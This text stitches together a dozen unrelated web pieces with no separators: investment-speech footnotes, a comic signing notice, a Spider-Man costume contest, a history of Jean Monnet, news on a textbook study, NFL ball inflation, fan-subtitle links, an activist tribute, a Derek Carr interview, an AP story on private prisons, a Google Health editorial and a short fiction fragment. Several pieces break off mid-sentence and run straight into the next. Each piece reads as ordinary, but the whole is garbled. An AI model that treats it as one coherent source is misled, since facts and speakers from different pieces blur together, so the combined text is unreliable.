To strive, to seek, to find, and not to yield.4 1. Caution: Change in price/earnings ratios are driven in part by changes in interest rates. After all, if the risk-free Treasury bill rate drops from, say 5% to 3% over a decade, it would seem logical that the earnings yield on stocks (the reciprocal of the p/e ratio) might drop from, say 8% to 6%, leaving the equity risk premium at 3%. (Such a 25% reduction in the earnings yield is the equivalent of a 25% increase in the p/e ratio, from 12.5 times to 15.6 timesspread over a decade, it would account for an increase of 2.2% per year in stock prices.) But because the pattern has been so erratic during the past centurythe correlation between earnings yield and the risk-free rate was only 0.20%I have not incorporated interest rates into my formula. Back 2. I've updated Chart 7 showing real (inflation-adjusted) stock returns toreflect a possible 6% annual return over the coming decade. If so, the moving average will decline to -2% in 2009, and gradually rise to the 6% level in 2012. Back 3. Journalist William Pfaff, International Herald Tribune, September 10, 2002. Back 4. Ulysses, by Alfred Lord Tennyson Back Note: The opinions expressed in this article do not necessarily represent the views of Vanguard's present management. Return to Speeches in the Bogle Research Center ©2006 Bogle Financial Center. All Rights Reserved.SEX CRIMINALS: THE COLLECTED EDITION SIGNING
Featuring artist Chip Zdarsky
Wednesday, April 16, 6pm-8pm
@ The Beguiling, 601 Markham Stree
Free To Attend, Not At A Sex Club
So, here’s the deal. Sex Criminals is the bestselling comic at The Beguiling right now, because it’s EXCELLENT. We’ve sold lots of copies of every issue, we’re still selling the first issue for people who are discovering the series late! Well, now there’s a collected edition (“trade paperback”) of the first five issues coming out, so if you’re one of the very few people who haven’t read it, now’s your opportunity to come pick and up. It’s only $9.99. And as a special treat, you can get your copy signed by series artist and co-creator and our pal Chip Zdarsky.
It’ll be new comics day, and it’ll be a MADHOUSE, but what the heck, right?
We’re all going for drinks after too, you can ask Chip secrets.
See you there!
– Chris @ The BeguilingNote: After over 150 entries and weeks of judging, Project: Rooftop is proud to present the winner of this summer’s Spider-Man: Webhead 2.0 contest. I’d like to thank everyone who made this contest so successful: our iFanboy guest judges Ron, Conor and Josh; our sponsor, Flying Colors Comics & owner Joe Field; our regular contributors; and most importantly, the artists! Congrats to all of the honorable mentions and finalists… and now here’s the winner! – Chris Arrant
First Place Winner: Mike Dimayuga!
Mike Dimayuga
Total Score: 56 (Out of a possible 70 points)
Vito: 9. This is what I was talking about in Kris Anka’s design. The lack of a spider logo isn’t missed here in Mike’s because the web pattern serves as an identifier. The scarf is cool, but I can take it or leave it. The webs coming from the fingers is a huge addition, one that I wish Marvel would implement.
Josh: 8. Lose the scarf. But those web fingers? That’s some lateral thinking, and no one else in the group did anything like that. Again, the helmet is a nice touch, and while multiple eyes are hinted at, it’s subtle, and doesn’t gross me out.
Ron: 7. I kinda like the scarf. It keeps him warm and is swashbuckling in a 1920s pilot kind of style. I too like the finger-web shooters, but I always dislike the bracelet/external webshooters. Those should be hidden. Not a big fan of the multiple eyes but this does make it work, so I could warm up to it with this one.
Conor: 7.5. I LOVE the web fingers. Fantastic. I am of two minds on the scarf. On the one hand I’m a big fan of scarves. They are jaunty and keep you warm. On the other, it would probably get tangled up in the webbing and would be easy to yank on in battle. Again, the multiple eyes thing freaks me out, but I am willing to accept that that might just be me.
Jon: 8
Rachel: 7. I really like the general design of the bodysuit, but the red parts look more like brick than web. Bonus points for the tabi boots, which make a lot of sense for Spider-Man, since he’s all about the dexterity. Does the mask remind anyone else of one of the various Goblin iterations?
Chris A.: 9.5. Man oh man, does Mike D. draw for me or what? The cut of the suit, the vertical piping, even the buckle-less belt all add up to amazing. That helmet is amazing, but the scarf has to go.Space Leadership Preservation Act reintroduced; hearing today
Yesterday, five members of Congress formally introduced HR 823, the new version of |
Wall Street lawyer, the news that Hitler had just issued the anti-Semitic Nuremburg laws. “A man who is capable of that,” Monnet said to the table, “will start a war.”
By 1938, Monnet had returned to active public life, traveling around the Continent and across the English Channel as an adviser and envoy. His task, as he put it, was to convince "civil servants to cooperate and exchange information between different ministries and different countries, so much so that the teams needed for joint action were already formed when the time came for decision. This is the dynamic of the balance-sheet, a page of figures which looks very much like those great account-books that my father taught me to read in Cognac when I was 16."
For him, the life lesson was that statecraft depends on sound economics as well as skillful politics—and the blending of the two into a single process in order to achieve the long-sought goal of the harmonization of international relations.
Monnet also shuttled back and forth across the Atlantic during those years. He already knew North America well, going back to a trip he made to Canada as a brandy salesman when he was 18 and numerous subsequent visits to the United States. He had quickly become an Americophile and would remain one all his life.
In Monnet’s view, American federalism proved itself during the 1930s as the best system of governance for countering the depredations of the Great Depression. The New World offered the Old World a model for its own future in another respect as well: the United States was the opposite of a Westphalian nation-state (France for the French, Germany for the Germans). On one of his many visits to New York, a Turkish taxi driver, seeing that his passenger was burly, swarthy and mustachioed, assumed he too was a Turk. Monnet found the incident more than amusing: it captured what he saw as one of America’s distinctive advantages. Here was a country-in-progress with an open door, constantly refreshing its citizenry with an influx of immigrants, drawing strength from their kaleidoscopic diversity. Even its food reflected the variety he so appreciated. While Monnet had a sophisticated palate, he enjoyed the occasional hamburger when traveling in the United States, not least because this iconic staple of American cuisine had a German name.
“There will be no peace in Europe if the states are reconstituted on the basis of national sovereignty… The European states must constitute themselves into a federation.”
The government that he dealt with in Washington pulsed with pragmatism, energy, and activism at a time when those back home had been sleepwalking into catastrophe for a decade. Monnet’s principal task in 1940 and the early months of 1941 was to urge President Roosevelt to come to the aid of Britain, and to pave the way for America’s entry into the war. Keynes believed that Monnet’s arguments were particularly effective with FDR.
Even in the dark hours when the Axis dominated most of the Continent, Monnet was thinking ahead about how to break the cycle of total war followed by a false peace. In 1943, he declared at a meeting of the French government-in-exile in Algiers, “There will be no peace in Europe if the states are reconstituted on the basis of national sovereignty…. The countries of Europe are too small to guarantee their peoples the necessary prosperity and social development. The European states must constitute themselves into a federation.”
There are few instances in history when a single statement of prescription and prophecy would so soon come to pass, and fewer still when the prophet himself would be a major agent in making that happen.
Two years later, after Germany and its allies surrendered, Monnet had his chance to begin the process of realizing his vision, though he got off to a rather uncertain start. As commissioner-general of the French National Planning Board, Monnet advised de Gaulle, the president of the provisional government, on how to reconstruct the French economy. One obvious means was to tap into Germany’s industrial potential, much of which was still intact. The sweeping recommendations he proposed are collectively known as the Monnet Plan. Its most conspicuous feature—the expropriation of coal from German mines in the Ruhr and Saar areas to fire the furnaces of French steel factories—was euphemistically called l’Engrenage (The Transmission). In addition to hastening the recovery of France, it inhibited Germany’s ability to rearm, a measure that was intended to be both punitive and preemptive.
“ The European Union was born out of a political concept: to get war out of the continent and to resolve everything peacefully. ”
-Javier Solana
Therein lies the irony: the Monnet Plan had an unmistakable aspect of Versailles déjà vu. It violated its namesake’s own principle of equality in inter-state relations. If it had remained in place for long, it would have crippled Germany’s own recovery and, very likely—just as Versailles had done—sown dragons’ teeth in the soil of Europe rather than the seeds of permanent peace.
Monnet, who generally eschewed the first person singular, rarely, if ever, referred to the plan by his own name. In his final years, he acknowledged that what the world knew as “the Monnet Plan” was an instance of French foreign policy “returning to the habits of the past.” The closest he came to justifying it was his observation that merging French and German resources vital to war-making “would reduce their malign prestige and turn them instead into a guarantee of peace.” At best, the plan that to this day bears his name was a temporary expedient—one that would be replaced by the proudest and most important accomplishment of his life.
Over the next four years, Monnet worked on a long-term successor arrangement that would be negotiated with Germany, not imposed on it. The agreement lowered duties and restrictions on coal and steel trade between France and Germany, bringing two vital sectors together under the aegis of a joint state-sponsored authority.
This bilateral accord was an exemplar of Monnet’s strategy for overcoming the national sovereignties that stood in the way of his vision. Applying the lessons of his youth in Cognac, he was laying the foundations, “slowly and with concentration,” for the “one thing” he knew he must do to bring about a federated Europe: create new economic facts on the ground. With the passage of time, national political leaders would see the virtue in thinking, deciding, acting, and, ultimately, governing on the pan-European level.
Monnet felt he had history on his side. The leaders of what had long been nation-states, along with the vast majority of their citizens, were used to buying and selling across borders. Commercial cooperation and its regulation had been an established norm of European life, since at least as far back as the 12th century, when the Hanseatic League had knitted together the economies of commercial centers, primarily along the North Sea and Baltic coasts. Immanuel Kant, a professor in the Hanseatic port of Königsberg (now Kaliningrad), had called the League a “confraternity of trade” and predicted that it might someday evolve into a united, democratic, and federative Europe.
Konrad Adenauer, the chancellor of post-Nazi West Germany, embraced Monnet’s vision of a 20th-century Hanseatic League that would end French control over the Ruhr and Saar coalmines, release Germany from economic purgatory and restore its prosperity. The result—a virtual merger of France’s and Germany’s coal and steel production—was to their mutual benefit, both economically and geopolitically. The agreement, it was said, would make another Franco-German war “not merely unthinkable but materially impossible.”
That jubilant claim captured Monnet’s conviction that commercial cooperation could defuse the most fraught relationship on the Continent. The arrangement came to be known as the Schuman Plan, after France’s Minister of Foreign Affairs, Robert Schuman, who negotiated it with Adenauer. Monnet seemed not to mind; he cared more about the consequences of his brainchild than credit for it.
Those consequences were dramatic and almost immediate. Monnet and Schuman moved quickly to open up the bilateral agreement to others. The 1951 Treaty of Paris brought in Italy, Belgium, Luxembourg, and the Netherlands. The result was the European Coal and Steel Community.
That last word was close to Monnet’s heart, not least because it ended in unity, his ultimate goal. The E.C.S.C. was the progenitor of the European Union and the fulfillment of the overarching plan Monnet had been developing and advocating for over 30 years. In a joint statement, Adenauer and Schuman proclaimed the magnitude and potential of their endeavor: “By the signature of this Treaty, the participating Parties give proof of their determination to create the first supranational institution and [to lay] the true foundation of an organized Europe.”
In his own writings, Monnet tended to steer clear of the word “supranational.” To him, it implied a superstate with power concentrated at the top rather than delegated, as much as possible, to subsidiary and largely self-governing units. But he wholeheartedly supported the rest of Adenauer and Schuman’s joint declaration.
In Monnet’s view, the key to solidifying the E.C.S.C. as a foundation for further expansion was the treaty’s establishment of an effective institution —the High Authority—to implement, oversee and administer its terms and goals. As Monnet often said, “Nothing is possible without men, but nothing lasts without institutions,” which he regarded as “the pillars of civilization.”
The High Authority of the E.C.S.C. was headquartered in Luxembourg. It was the community’s executive branch, empowered to make decisions on behalf of the six member states regarding the modernization and improvement of production, the development of a common export policy, and the improvement of working conditions in the coal and steel industries. Monnet was the natural choice for its presidency.
Other than his stint at the League of Nations 30 years earlier, this was the only post Monnet would ever hold at or near the top of an international institution. Significantly, in both cases, they were newly created international organizations. Also in both cases, his tenure was brief—only three years. As he often said, he loved inventing and starting organizations but not running them. Management bored him, and being an haut fonctionnaire made him uncomfortable: “No one has ever succeeded in making me do anything which I did not think desirable and useful, and in this sense I have never served a master. But I, in turn, have rarely obliged anyone to act against his will.”
Throughout his life, no matter what his position, his power was less ex officio and more that of persuasion. The cause he most wanted to advance was not administering European trade in coal and steel but laying the ground for an all-inclusive European federation. He resigned from the High Authority in 1955 to found an independent advocacy group referred to by everyone but him as the “Monnet Committee.” Its formal name was the Action Committee for the United States of Europe, which left no doubt as to its purpose and inspiration.
Monnet would spend the rest of his life pushing for the eventual incorporation of France into a robust European system of governance modeled on what was essentially an Anglo-Saxon invention developed by former British colonials. To that end he worked at mobilizing labor unions and political parties to support the carefully worded proposition that the nations of Europe “should delegate some of their powers to federal bodies.” The committee’s headquarters were in Paris, on Avenue Foch, about three miles from the Élysée Palace, which was the epicenter of a passionate, often obstinate dedication to national independence and exceptionalism so indelibly associated with Charles de Gaulle that it was called Gaullism.
Few political leaders in modern history have been more adamant about upholding the sovereignty of their nation—and in his case, protecting France against a resurgent Germany—than de Gaulle. He had been out of office when the Treaty of Paris was signed, and had opposed the creation of the E.C.S.C. In the late 1950s, he founded France’s Fifth Republic and assumed its presidency. While de Gaulle did support the creation of a common market in the late 1950s for what he called “the Europe of Nations,” he vituperated publicly against the very idea of an integrated and federative Europe, which he denounced as “the Europe of Jean Monnet,” warning that it would become a puppet of a “federator that is not even European”—i.e., the United States.
De Gaulle and others sometimes mocked Monnet as “the great American.” Monnet did not much mind. To the bemusement of friends on both sides of the Atlantic, he fantasized, as he grew older, about taking an extended sabbatical to Arizona, in part because he thought that the climate would be good for his ailing lungs.
He never attained that goal, or two others that he wistfully confided to his friends: winning the Nobel Peace Prize and living to a hundred.
In 1975, when he was 86, and in declining health, Monnet decided that the Action Committee had served its purpose. The de Gaulle era was over, and the integration of what was then known as the European Community was gathering steam. He settled into his home in Houjarray and plunged into writing a 500-page reflection on his life and work, often with his wife of 40 years, Silvia, an Italian artist, painting at an easel nearby.
Monnet’s memoirs, which he finished three years before he died, radiated pride in the progress Europe had made and optimism about what the future held. But he registered disappointment over missed opportunities and failed projects, notably the stillbirth of a European Defense Community in the early fifties and, a decade later, the rejection of the United Kingdom’s application for membership in the European Economic Community (E.E.C.), as the common market was formally known. Both setbacks were largely the result of Gaullist resistance. Yet despite Monnet’s distaste for French nationalism—and, for that matter, exceptionalism—he saw himself as a patriot whose dream of a European federation was entirely consistent with what was best for his native land.Israel’s Education Ministry has rejected the findings of a study funded by the U.S. State Department that determined that Palestinian textbooks rarely demonize Israel or incite hatred against the Jewish people and that both sides use the texts to present children and students with a one-sided view of their conflict.
"Dehumanizing and demonizing characterizations of the other are rare in both Israeli and Palestinian books," according to the study, titled ”Victims of Our Own Narratives?,” funded by the U.S. State Department and carried out by Palestinian, Israeli and American academics.
"Both Israeli and Palestinian books present exclusive unilateral national narratives," wrote the authors, from Bethlehem, Tel Aviv and Yale universities.
"Historical events are selectively presented to reinforce each national narrative," said the study, which analyzed more than 3,000 textbooks approved in 2011 by the sides' education ministries.
The Israel Education Ministry released a statement saying, “An evaluation, by professionals from the Education Ministry and from outside it, [shows...] that it is biased, unprofessional and profoundly unobjective.”
“The clear impression is that this is a ‘study’ the conclusions of which were known in advance, before any professional work was done, and certainly does not accurately reflect the reality,” it stated.
“The attempt to create a parallel between the Israeli and Palestinian educational systems is without any foundation whatsoever and has no basis in reality,” the statement added.
The Education Ministry, highlighting Israel’s longstanding claim that Arab textbooks and educational materials intentionally and systematically incite hatred the Jewish people and Jewish state, provided several reasons for its rejection of the study:
“1. The overall approach and tone of the study reflect an attempt to create an artificial and inaccurate picture of balance between Palestinian and Israeli books.
2. The study omits important examples of incitement and delegitimization found in official PA textbooks.
3. Its methodology is flawed in that it misses or obscures critical differences between Israeli and Palestinian texts.
4. The study provides a highly-distorted depiction of the PA’s systematic efforts to educate and indoctrinate Palestinian children to hate, violence and non-acceptance of Israel’s existence. This is a result of the fact that the study focuses only on a very specific and limited component of those efforts.”
The Education Ministry further stated that “Official PA and PLO educational platforms, including formal and informal educational frameworks, summer camps, children’s magazines, television programs, and cultural events systematically promote the following messages:
1. The dispute with Israel is not over territory, but over the legitimacy of Israel’s very existence (let alone Israel’s existence as a Jewish state.)
2. The ultimate goal is to eliminate the Jewish State and reclaim the historic Land of Palestine.
3. Jews/Zionists/Israelis possess demonic characteristics (demonization and dehumanization.)
4. All forms of struggle- including terrorism- are legitimate in pursuit of the ultimate goal. Terrorists are national heroes and role models. At times diplomatic or political struggle may be more expedient than terror.”
The Anti-Defamation League (ADL) released statement criticizing the report as “distorted and counterproductive,” saying that by presenting the issue as an equivalent problem for both sides, “the core issue of Palestinian rejection of Israel has been blurred.”
“However well-meaning the sponsors and researchers of the textbook study may have been, the paucity of historical, social and geopolitical context distort the findings and render this study counterproductive,” said ADL National Director Abraham H. Foxman. “The report presents a dangerous premise of false equivalency – that both sides have problems in not accepting the other and, in order to enhance the chances for peace, both sides have to do more to change their textbooks.”
“This issue was meant to deal with the basic problem that is at the core of the conflict -- Palestinian teaching of rejection of Israel and its legitimacy,” asserted Foxman. “By treating it as an equivalent problem for both sides, the issue has been blurred beyond distinction. It undermines the understanding of how critical this issue is -- to get the Palestinians away from their historic hatred of Israel. This still has not happened, and this study, in treating the problem as the same for both, makes it more difficult to achieve that goal.”
“Educating Israeli youth about the Palestinian narrative is important,” he said. “But it is not the root issue for Israel. For Israelis the very fact that Arabs and Palestinians have pursued the destruction of Israel was and remains at the core of the problem. The sponsors, funders and researchers of this study should have taken this into account when they formulated their approach.”
State Department spokeswoman Victoria Nuland avoided taking a position on the report.
“We don’t get ourselves in the middle,” Nuland said, adding that the United States sponsors scores of such studies around the world, but doesn’t necessarily adopt a position regarding the outcome.
“We haven’t done an independent analysis of this report ourselves. It was funded at the request of some of our Israeli partners. If it’s not useful to them, then they don’t need to use it,” Nuland said.In November 2013 The MMQB’s Peter King and videographer John DePetro went behind the scenes with Gene Steratore’s officiating crew before a Ravens-Bears game at Soldier Field. The two were granted exclusive access inside the officials' locker room during their pregame preparations.
In the video above, the crew inspects the game balls in the officials' locker room for proper inflation—between 12.5 and 13.5 pounds per square inch. Head linesman Wayne Mackie and field judge Bob Waggoner are seen checking the pressure and taking some of the air out of balls to bring them down to regulation. Back judge Dino Paganelli, working at the locker room sink, reinflates balls that fell below regulation up to the 12.5-13.5 psi range. Line judge Jeff Seeman describes how teams work the K balls, the balls used only on specials teams, which come out of the box on game day and are given to the teams to work up for 45 minutes before the game.
How Officials Check Ball Pressure Dino Paganelli using an electric pump to reinflate balls to regulation pressure. (John DePetro/The MMQB) The balls get another check by the crew. (John DePetro/The MMQB) Game balls that have been reinflated to the proper pressure rest in the sink. (John DePetro/The MMQB) The Bears’ ball bag. (John DePetro/The MMQB) 1 of 4 Advertisement
The balls would be in the officials' possession until just minutes before the start of the game, at which point they would hand the bags to ball boys on each side of the field. For balls to be tampered with, it would most likely have to take place on the field during the game.
One other note: Based on informal tests done at The MMQB offices, our staffers concluded that a difference of one pound per square inch, the acceptable regulation range, would be imperceptible to most people, and that even a ball that was under regulation by two psi, as the Patriots' balls were reported to have been, would be very hard to detect, especially for someone not looking for it. A ball at 10 psi does not feel "soft," and it would be understandable for officials not to notice the difference. That was also the conclusion of former NFL wideout Amani Toomer on SI's Pro Football Now show when a similar test was done.
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[widget widget_name="SI Newsletter Widget”]Disclaimer: Because it’s a one-man project, this is not perfect. Please understand if I made a mistake and please tell me if I made a mistake so that the next release will be better. Thank you!
I’m back with another episode of Goboten.
On this episode, Team H’s captain and vice captain, Anai Chihiro and Matsuoka Natsumi went looking for the school’s beloved center!
and also Madoka visited Sasshi no Udon to discuss her problem
Ok, here are the links
RAW Torrent : Here
Softsub : Here
Enjoy!
Thanks!
[masssterchief] 141031 HKT48 Shakariki48! ep18 English Sub: Here
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[masssterchief] 150117 HKT48 no Goboten! ep32 English Sub: Here
[masssterchief] 130917 SKE48 no Oyasumi Meigen Dojo ep122: HereSubmitted by bajin on Wed, 05/16/2012 - 18:05.
After the disbanding of Bring the Ruckus, we promised a document that would say more about our organizational decision to disband. That decision was a difficult one, fraught with emotion. It was nothing, however, compared to the news of the death of our comrade and Ruckus founding member Joel Olson near the end of March. In the wake of this, an organizational reflection hardly seems to matter at all. What follows is a short tribute to our beloved comrade. It does not seek to be an obituary, or an accounting of his interests or accomplishments. We offer it here because this space still exists, at least for the time being. We offer it as a way to deal with the loss of a beloved comrade, which, despite the difficulty some of us had in the wake of our collective decision to disband, is 10,000 times harder -- or more -- to come to grips with.
Joel played an important role in the disbanding of an earlier organization, Love and Rage Revolutionary Anarchist Federation, as he and others argued strongly for the centrality of white supremacy as a primary obstacle to building a revolutionary anti-capitalist movement in the United States. After the split of Love and Rage, he helped found Phoenix Ruckus, a study group, but also one that put theory into practice, with the founding of Phoenix Copwatch. Phoenix Ruckus is ultimately what led to the founding of Bring the Ruckus in 2002 as a national revolutionary cadre organization, with a founding meeting in January 2004.
Joel’s founding status and relative experience compared to some of the BtR membership sometimes led folks to get the wrong idea. We joked at times that he was our “charismatic leader,” but other people, disposed to believing we were “Leninists,” “vanguardists” or who knows what, at times took this farther. Nothing could be less true about how Joel related to the organization as a whole and his comrades individually. He learned from everyone, and he was always open to listening to other viewpoints and changing his view on a situation. He always came prepared and ready to debate, yes, but ready to learn also. As a Repeal Coalition member said at Joel’s memorial service in April, he struggled alongside, never in front of. That was true of him in the streets and in meetings.
We formerly of Bring the Ruckus were all awaiting Joel’s return from Spain, to talk, debate, and perhaps build new structures or organizations more suited to the times we are in. It must be said here that one of the last things Joel did to have an effect on revolutionary organizing in the United States was to call in February for the disbanding of Bring the Ruckus. Although he loved its members and had done as much as anyone to build the organization and in so doing try to contribute to building a strong, revolutionary left pole, he believed Bring the Ruckus had ceased functioning in the way it needed to in order to have an effect on the revolutionary tendency and mass struggle in the United States. He believed that some relationships within the organization were so strained that they would pass a dangerous threshold if the organization stayed together. He and his longtime comrade and great friend Luis called for disbanding BtR in order to preserve these relationships. It must be said that they made the proposal along with their comrades from Flagstaff. It must also be said that they were not the only ones, or even the first ones, to believe that Ruckus had ceased functioning. After an emotional meeting in which we voted to disband despite many members' opposition or reservations, Joel commented to many of us about how principled we all were in coming to this decision, and how truly proud he was to be our comrades.
Thus, Joel’s last act as an American Revolutionary—and he truly was that—was to disband the organization he and others had begun. His legacy and contributions to North American anarchist and revolutionary politics cannot be questioned (to the point that, for instance, many young punks and anarchists are deeply influenced by him without even knowing it or of him). He furthered the cause of freedom both in theory and practice.
But we would all do well to remember how he acted, that for Joel it was never about his legacy or “his” organization. In true dialectical fashion, he proposed and then voted to dissolve what he had built, in order to build anew. He didn't know what that would be, and he wasn't absolutely certain that we made the right decision, but he was ready to see where it would go.
Joel Olson—Presente!!
We'll miss you, comrade, and are all proud to have struggled alongside you.
--by James Stephens
If you need to contact former members of Bring the Ruckus, please do so through James Stephens by sending an email to james.stephens919 [at] gmail.com.ALAMEDA, Calif. -- Derek Carr would not change a thing, thank you very much.
Not even after losing a fumble through the end zone and, as it turns out, the Oakland Raiders losing a game as a result.
Yes, Carr would still stretch for the pylon. Even come Monday night at the Philadelphia Eagles.
Would Derek Carr try to extend the ball again with the game on the line? "I'd rather take the last shot and miss it than pass it off and try and do it another way," the Raiders quarterback said Thursday. AP Photo/Ben Margot
"We talk about ball security, jumping with two hands, stuff like that... I honestly didn't think I was going to drop the ball," Carr said Thursday, in his first media availability since Sunday night's 20-17 loss to the Dallas Cowboys.
"When I took off to jump, in my head I thought it was a touchdown because I knew I had the corner. From a mindset standpoint, looking back, yeah, I want to do something different because we lost. But from making that decision, I always think of it in basketball terms -- I'd rather take the last shot and miss it than pass it off and try and do it another way."
Sounds like that "Mamba mentality" from Kobe Bryant that Carr so often references, no?
While few have criticized Carr for trying to make a play -- it was third-and-3 from the Dallas 8-yard line with just over 30 seconds to play when Carr took off for the right pylon while stretching the ball out with his nondominant and gloved left hand -- many have wondered if he did the smart thing.
Carr already had the first down, and if he simply runs out of bounds or does not stretch for the touchdown, the Raiders have a first-and-goal inside the 3 with 31 seconds to play and Marshawn Lynch in the backfield.
And even if Oakland could not get into the end zone, a chip-shot field goal would have tied the score and sent it to overtime.
But Cowboys safety Jeff Heath closed in and hit Carr before the quarterback could hit the pylon, and the ball rolled through the end zone.
"From a competitive standpoint, I'd try it, but with better technique, two hands, I don't know, but something to where we don't lose the game," Carr said. "But from making that decision, I think I'd go for it again."
Carr was also asked about the severity of the penalty -- a touchback and possession for the other team on a fumble through the end zone -- which essentially ended the game.
And yes, ironically enough, the rule is a long-lost relative of the Holy Roller play.
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"It does deter your mind of giving an amazing effort because an amazing effort ends up in a loss, so it's no good," Carr said. "I always try and give my best effort. When I was there and in the moment, I saw the pylon and I saw a win for our team and I tried to go for it. The fact that it went out and they get the ball, it's like, ‘Dang,' one of those things.
"It's definitely something that could be looked at. There are a lot of things that they want to look at and we're always trying to make the game better. It would definitely take away from guys making an effort for those types of situations."
Not all was bitter for Carr this week, not with his teammates voting him the teams' recipient for the Ed Block Courage Award in coming back from the broken right ankle he suffered last year and playing through broken bones in his back this season.
"Just the fact that your teammates vote for it, that really touched my heart, just being candid," he said. "It really showed me that, obviously, I know there's things I can do better, but it showed me that my teammates still see me for who I am. They still see me grinding through adverse times and those kinds of things."
Carr signed a five-year, $125 million contract extension with $70 million guaranteed this offseason.
"I gave you guys free permission to go ahead and kick me right in the funny business if I changed as a person after that," Carr said of his teammates. "Because we signed a contract and all those things, it didn't change me. If anything, it made me learn things throughout the course of time and want to be better. It definitely didn't change how I work. It definitely didn't change the effort I give."FILE - In this June 15, 2010 file photo, the Idaho Correctional Center is shown south of Boise, Idaho, operated by Corrections Corporation of America. The Justice Department says it’s phasing out its relationships with private prisons after a recent audit found the private facilities have more safety and security problems than ones run by the government. Deputy Attorney General Sally Yates instructed federal officials to significantly reduce reliance on private prisons. (AP Photo/Charlie Litchfield, File) The Associated Press
By EILEEN SULLIVAN, Associated Press
WASHINGTON (AP) — The Obama administration announced Thursday it will phase out its use of some private prisons, affecting thousands of federal inmates and immediately sending shares of the two publicly traded prison operators plunging.
In a memo to the Bureau of Prisons, Deputy Attorney General Sally Yates told it to start reducing "and ultimately ending" the Justice Department's use of private prisons. The announcement follows a recent Justice Department audit that found that the private facilities have more safety and security problems than government-run ones.
The Obama administration says the declining federal prison population justifies the decision to eventually close privately run prisons. The federal prison population — now at about 193,000 — has been dropping due to changes in federal sentencing policies over the past three years.
The policy change does not cover private prisons used by Immigration and Customs Enforcement, which hold up to 34,000 immigrants awaiting deportation.
"Private prisons served an important role during a difficult period, but time has shown that they compare poorly to our own Bureau facilities," Yates wrote in a memo to the acting director of the Federal Bureau of Prisons. As private prison contracts come to an end, the bureau is not to renew the contract or it should at least "substantially" reduce its scope, Yates wrote. She did not specify a timeline for when all federal inmates would be in government-owned facilities.
Democratic presidential candidate Hillary Clinton says the country should move away from using private facilities to house inmates. The Clinton campaign has said it no longer accepts contributions from private prison interests, and if it receives such a contribution, it will donate that money to charity. The private prison industry is a major contributor to Republican political campaigns, particularly in recent years. GOP presidential candidate Donald Trump has said he supports the use of private prisons.
The private prisons on the chopping block are operated by three private companies — Corrections Corporation of America, GEO Group Inc., and Management and Training Corporation. After the announcement Thursday, Corrections Corp. stock dropped $13.22, or 48.6 percent, to $14 and Geo Group tumbled $13.80, or 42.7 percent, to $18.49. Both companies get about half their revenue from the federal government.
The Management and Training Corporation and Corrections Corporation of American issued statements saying they were disappointed with the decision. They also said they disagreed with the conclusions of an inspector general's audit that preceded the Justice Department's decision.
The federal government started to rely on private prisons in the late 1990s due to overcrowding. As of December 2015, private prisons held about 12 percent of the total federal prison population, or 22,500 inmates, according to the inspector general report released earlier this month. Many of the inmates are foreign nationals who are being held on immigration offenses, the audit said.
Immigration and human rights advocates have long-complained about the conditions in privately-run prisons. Amnesty International, on Thursday, urged states to follow suit. Some states, such as Kentucky, already have.
Before Thursday, the Bureau of Prisons had been working toward the goal of phasing out private prison contracts when, three weeks ago, it did not renew a contract for 1,200 beds, Yates said. Thursday's policy change also included direction to change a current solicitation for a private prison contract, cutting the maximum number of beds required by 66 percent.
.___
Associated Press writers Josh Lederman and Alicia A. Caldwell and Charles Sheehan in New York contributed to this report.Essential in life, Google may soon play a part in death. Earlier this month the company added an option to its Google Health site allowing users – so far only in America – to state their final wishes. "One of the most important documents you may want to store and share in Google Health is an advance directive," announced the Google blog. "An advance directive allows you to determine your end-of-life wishes so that your family and doctor can honor them if you get sick and are unable to communicate. The decision to sign an advance directive is an important and personal one, and Google Health now makes it a little bit easier."
Some people will find this sinister. A company that began by creating a brilliant search tool is straying into the most intimate of areas. Google has grown by being good at what it does, but also through what it knows. It tracks search histories, tailors advertising to email, and agglomerates content from every source it can get access to, fulfilling its corporate mission "to organise the world's information and make it universally accessible and useful". To that, Google might add profitable, since the way to internet riches is to know the details of users' lives.
In the Times yesterday David Davis, the former shadow home secretary, turned on his party over reports that British patients might be encouraged to use Google Health and its counterparts, rather than persist with the expensive and much-delayed NHS database. "Google is the last company I would trust with data belonging to me," he wrote. Rather than increase personal control over medical data, he argues that it would end it. Google is not subject to ministerial orders, or European regulation. It promises never to sell advertising alongside medical information, but it has done deals with US pharmacy chains under which these groups are encouraging their 100 million customers to lodge their prescription records with Google Health.
The Conservatives, whose independent review on medical IT reports soon, say there is no prospect of NHS records being handed over to Google in bulk. The party argues that it is simply preparing for an open source world, where individuals will manage and share data more effectively, and cheaply, than government ever can. If people want to use Google Health, or Microsoft HealthVault, they should be allowed to, on their own terms.
But for individuals to be empowered, they must first be protected. Data is only guarded by the promises of the organisations that hold it. Users can protest if the terms of their contracts are changed, but there are no central rules and no central control. For some, that is the attraction. But do not mistake this for a right to privacy.
• This article was amended on Tuesday 28 July 2009. We said that Google had done deals to get access to the prescription records of 100 million American patients. In fact, Google has reached agreements with some US pharmacy chains under which these groups are encouraging their 100 million customers to lodge their prescription records with Google Health. This has been corrected.Amy Errett wasn’t the likely candidate |
ask her hand in marriage Charles grew excessively nervous. He called up some old chums and demanded they drop everything to go out drinking. He took the demon and sat it on his lap facing him.
“Now look Demon, I am asking Sandy to marry me tomorrow. I need this house as clean as it can possibly get. I want the floors swept and mopped and the stairs scrubbed. I need the windows spotless and every dish in the entire house, clean or not, wiped down. I want beds made and carpets beaten. Clean out the light fixtures. Polish the silver and brass. Clean the soot from the chimney. I want the bathroom spotless, the tub and the loo must shine! Fold all the towels and stack them neatly in the closet. Water the plants, but not too much now. I don’t want to take the blame for them dying. Rearrange the cupboards; I never liked the glasses where they are. I want them put in the cupboard over the sink, and the spices put over the stove where they belong. You can watch video tapes while you work if you want, but not too loudly, and stay away from the telephone!”
The demon took it all in with diligent attention. It nodded, accepting its orders and confirming its understanding. Charles sighed; he wondered how in the world he would ever live without it. It was his full intention to return the demon to the shop tomorrow.
When Charles met his buddies at Irish Kevin’s, they didn’t know what the motivators were, but they could tell that Charles was in the mood to party. They had a hell of a night. They got every woman on Duval Street drunk, including two strippers from Teasers. Bill Carmichael, who was a bastard when it came to zoning regulations and one of the most feared men in Key West, actually stripped to his underwear and danced on the bar. The bouncers were told to let them go - it was going to be one of those nights. They ended the night at Bill’s house, drinking scotch and smoking illegal Cuban cigars. The two strippers danced for them, and Stoney Walters declared himself sober enough to take them both on. The three of them retired into Bill’s master bedroom, leaving Bill and his wife to take the guest room. Charles puked in Bill’s backyard, leaning his shoulder against a coconut tree, and then passed out in Bill’s hammock.
Charles woke the next morning to his cell phone ringing and the morning sun shining into his eyes. It was barely seven in the morning.
